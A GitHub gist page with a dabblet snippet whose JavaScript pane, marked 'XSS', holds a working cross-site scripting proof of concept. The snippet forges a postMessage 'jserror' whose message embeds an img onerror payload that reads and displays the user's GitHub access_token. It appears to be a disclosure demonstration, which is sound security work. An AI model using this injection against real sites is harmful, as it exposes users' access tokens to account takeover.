Skip to content

Instantly share code, notes, and snippets.

@FWeinb
Created July 24, 2019 21:20
Show Gist options
  • Save FWeinb/d92106b07b6878eb06d2667ec27afa6c to your computer and use it in GitHub Desktop.
Save FWeinb/d92106b07b6878eb06d2667ec27afa6c to your computer and use it in GitHub Desktop.
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*/
background: #f06;
background: linear-gradient(45deg, #f06, yellow);
min-height: 100%;
<script>
</script>
// XSS:
// name,
parent.postMessage(JSON.stringify({
action: 'jserror',data: {
name: "",
message:"<img src='' onerror='window.user ? alert(`Hello ${user.name}, Github access_token: (${ACCESS_TOKEN})`) : document.body.style.transform = `rotate(180deg)`'/>",
lineNumber: 0
}
}), '*');
{"view":"split","fontsize":"120","seethrough":"","prefixfree":"1","page":"javascript"}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment